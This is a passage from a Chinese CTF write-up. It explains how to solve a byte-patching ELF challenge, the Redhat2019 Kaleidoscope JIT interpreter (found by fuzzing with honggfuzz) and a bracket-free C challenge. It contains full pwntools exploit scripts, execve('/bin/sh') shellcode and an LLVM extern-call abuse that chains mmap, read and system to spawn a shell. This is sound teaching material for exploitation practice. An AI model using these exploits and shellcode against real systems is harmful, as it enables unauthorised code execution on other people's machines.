  3. 接下来询问要patch哪个地址处的字节,用于patch的字符是什么。
  4. 接下来再次询问要patch哪个地址处的字节,用于patch的字符是什么。
  5. 最后要求给出三个ROP gadgets
  6. 在我们给定了以上参数之后,程序会生成一个ELF文件,我们可以运行它,也可以查看其内容。

image-20200614220655468

生成的ELF文件仅开启了NX保护

经过反编译我们可以看到,我们的patch是从0x4000EC,也就是main + 4处开始,最短填充至0x40016Cmain函数对应的汇编码就为:

1
2
3
4
5
6
push rbp
mov rbp,rsp
[patch data]
mov eax,0
pop rbp
ret

然后我们写入的三个ROP_gadgets将会被写入到bss段。

image-20200614221531039

栈上将填满环境变量,这将导致我们正常情况下的main函数返回值将会是一个非法值。

漏洞利用

那么对于这道题目,我们利用的是ELF文件的一个特性:

当数据段未页对齐时,其中的内容将也被映射到text段的末尾。

也就是说,对于这个题目来说,位于bss段的ROP_gadgets将会被映射到text段中,

image-20200614223416354

那么,如果我们将ROP_gadgets替换为shellcode,再利用patch加入跳转指令,跳转至shellcode即可。

可以使用ret rel8形式的跳转,这种跳转的通常为EB XX,例如本题应该使用EB 46代表的汇编语句是jmp 0x48,但是,这里的0x48是相对地址,相对于本条地址的偏移,例如我们将0x40068处的代码改为jmp 0x48,反汇编后,这里的代码将显示为jmp 0x4001B0

image-20200614230448199

那么,我们接下来直接去exploit-db寻找好用的shellcode即可:

1
2
3
4
5
6
7
8
9
10
11
0000000000400080 <_start>:
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall

FInal Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
import traceback
import sys
import base64
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

# file_name=ELF('./file_name', checksec = False)

if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./file_name")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./file_name")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address

def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()

def Multi_Attack():
# testnokill.__main__()
return

def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
sh.recvuntil('> ')
sh.sendline('90') # NOP byte
sh.recvuntil('> ')
sh.sendline('80') # NOP size
sh.recvuntil(': ')
sh.sendline('7C') # patch offset
sh.recvuntil(': ')
sh.sendline('EB') # patch value
sh.recvuntil(': ')
sh.sendline('7D') # patch offset
sh.recvuntil(': ')
sh.sendline('46') # patch value
sh.recvuntil('[1/3] > ')
sh.sendline('504831d24831f648') # ROP
sh.recvuntil('[2/3] > ')
sh.sendline('bb2f62696e2f2f73') # ROP
sh.recvuntil('[3/3] > ')
sh.sendline('6853545fb03b0f05') # ROP
sh.recvuntil('> ')
# sh.sendline('1') # Watch
# open('./introool','w').write(base64.b64decode(sh.recvuntil('n',drop=True)))
sh.sendline('2') # Attack
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'

if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x07 以 [Redhat2019] Kaleidoscope 为例

题目地址:https://pan.baidu.com/s/18-GLNWmJejh-UZrK1hOQTA

题目信息

image-20200616221707222

没有开启CanaryRELRO保护的64位程序

image-20200616221619917

通过试运行的结果,可以确定这是一个解释器

image-20200616222141372

当我们把它加载到IDA中时,我们就可以很明显的看出,此程序使用了C++语言编写,并且在编译时启用了一些LLVM的优化选项,使得我们的代码识读变得十分困难,我们可以通过题目名以及一些题目中的固定字符串去发现,这是一个Kaleidoscope即时解释器,LLVM项目将其作为例程来表示如何去构建一个即时解释器,我们可以在 Building a JIT: Starting out with KaleidoscopeJIT 找到这个例程的解释,同时可以在 llvm-kaleidoscope 处找到该项目的源码。

该项目的main函数源码是形如这样子的:

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
BinopPrecedence['<'] = 10;
BinopPrecedence['+'] = 20;
BinopPrecedence['-'] = 20;
BinopPrecedence['*'] = 40;
fprintf(stderr, "ready> ");
getNextToken();
TheModule = llvm::make_unique<Module>("My awesome JIT", TheContext);
MainLoop();
TheModule->print(errs(), nullptr);
return 0;
}

但是本题的main函数的反编译结果却是:

image-20200616223503824

这种代码会令人十分的难以去理解,但是通过比较这两段代码可以发现,这段代码额外的定义了一个=操作符,一般情况下,这种额外的定义往往会伴随着漏洞的发生,但是由于此处的代码分析量实在是过于庞杂,因此我们此处考虑使用fuzz的思路。

fuzz测试

此处我们决定使用honggfuzz这个模糊测试工具,这是一个由Google维护的一个fuzz工具。

安装honggfuzz(以ubuntu 16.04为例)

首先我们需要拉取项目

1
2
git clone https://github.com/google/honggfuzz.git
cd honggfuzz

然后需要安装相关的依赖库文件

1
apt-get install libbfd-dev libunwind8-dev clang-5.0 lzma-dev

接下来需要确认lzma的存在:

1
locate lzma

如果发现只有liblzma.so.x文件,那么需要建立一个符号链接

1
sudo ln -s /lib/x86_64-linux-gnu/liblzma.so.5 /lib/x86_64-linux-gnu/liblzma.so

接下来执行以下命令来完成编译安装:

1
2
3
4
5
sudo make
cp libhfcommon includes/libhfcommon
cp libhfnetdriver includes/libhfnetdriver
cp libhfuzz includes/libhfuzz
sudo make install

至此,我们的honggfuzz主程序安装结束。

安装honggfuzz-qemu(以ubuntu 16.04为例)

接下来因为我们要进行fuzz的是黑盒状态下的程序,因此我们需要使用qemu模式来辅助我们监控fuzz的代码覆盖率,那么honggfuzz为我们提供了honggfuzzMAKEFILE,我们直接使用如下命令即可安装

1
2
3
4
cd qemu_mode
make
sudo apt-get install libpixman-1-dev
cd honggfuzz-qemu && make

⚠️:使用docker化的honggfuzz时会产生变量类型的报错,目前没有找到解决方式,已经提了issue,因此不建议使用docker化的honggfuzz安装honggfuzz-qemu

⚠️:安装时会使用git安装不同的几个包。

启动测试

安装完毕后我们就可以启动fuzz测试了

1
honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/Kaleidoscope

其中,/work/in/是语料库文件夹,将我们所需要的种子语料以txt形式放置在语料库文件夹即可。

可以发现,在1 h 25 min分钟的时间里,就已经触发了一些crash

image-20200620134159703

漏洞分析

我们可以查看当前文件夹下生成的crash文件,里面存储了产生此crash所使用的输入样本,我们注意到,在这14个样本中,有一个形如:

1
2
3
4
5
6
def fib(x)
if x < 3 then
1
else
526142246948557=666
fib(40)

的样本,当我们把它喂进程序时,程序显示了一个较为异常的报错信息。

image-20200620195729332

这里说程序无法处理我们给定的外部函数,可以发现这个报错里出现了extern关键字

那么我们进一步测试,发现当我们向程序输入extern关键字时会报错:

image-20200620200257084

那么我们来定位这些报错的位置:

image-20200620214910659

可以发现,当我们直接使用extern函数时会产生报错,而当我们采用形如:

1
2
3
4
5
6
def fib(x)
if x < 3 then
1
else
1=1
fib(40)

的输入时会直接调用libLLVM.so中的内容。

我们可以分析出以下调用过程,当我们向程序传递以上参数时,首先会经过解释器的函数解析,解析后会将我们要调用的函数名传递给libLLVM.so,然后通过其内部的RTDyldMemoryManager::getPointerToNamedFunction做函数指针的寻址,关于此函数此处有更加详细的解析。

那么此处我们是否可以通过这个机制来调用任意函数呢?我们构造以下数据来进行输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = '''
def puts(x)
if x < 3 then
1
else
1=1
puts(1234)
'''
get_gdb(sh,stop=True)
sh.recvuntil('ready> ')
sh.sendline(payload)
sleep(0.5)
sh.recvuntil('ready> ')
sh.sendline('1')
sh.interactive()

image-20200620220449410

可以发现,的确调用了libc内的函数,且发现其参数正是我们传入的1234

漏洞利用

那么我们只需要先调用mmap(1048576, 4096, 7, 34, 0)来分配一段空间以用来存储我们的/bin/sh

然后调用read(0,1048576,10)来读取我们的/bin/sh,最后再调用system(1048576)即可getshell

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

Kaleidoscope=ELF('./Kaleidoscope', checksec = False)

if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./Kaleidoscope")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./Kaleidoscope")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address

def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()

def Multi_Attack():
# testnokill.__main__()
return

def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = """
def mmap(x y z o p)
if x < 3 then
1
else
a=1

mmap(1048576, 4096, 7, 34, 0);
"""
sh.recvuntil('ready> ')
# get_gdb(sh)
sh.sendline(payload)
sleep(0.5)

payload = """
def read(x y z)
if m < 3 then
1
else
0=1

def system(x)
if m < 3 then
1
else
0=1

read(0, 1048576, 10);
system(1048576);
"""
sh.recvuntil('ready> ')
sh.sendline(payload)
sh.recvuntil('ready> ')
sh.sendline('/bin/shx00')
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'

if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

image-20200620224112912

0x08 以 2020 DAS-CTF OJ1 为例

安恒月赛的题目为闭源信息,本例题不会给出任何形式的附件下载地址

解题思路

题目要求我们输入不带括号的C代码来执行,注意,此处的程序要求我们不允许带有任何形式的括号,包括大括号,中括号,小括号,这就使得我们无法通过常规的C代码形式提交,例如int main(){}等等,这里我们给出一种奇特的可运行的C代码形式。

1
const char main=0x55,a1=0x48,a2=0x89,a3=0xe5;

例如我们直接编译以上代码,在main处下断

image-20200620231501175

那么我们直接找到对应汇编码即可。

0x09 参考链接

[【原】Redhat2019] Kaleidoscope – matshao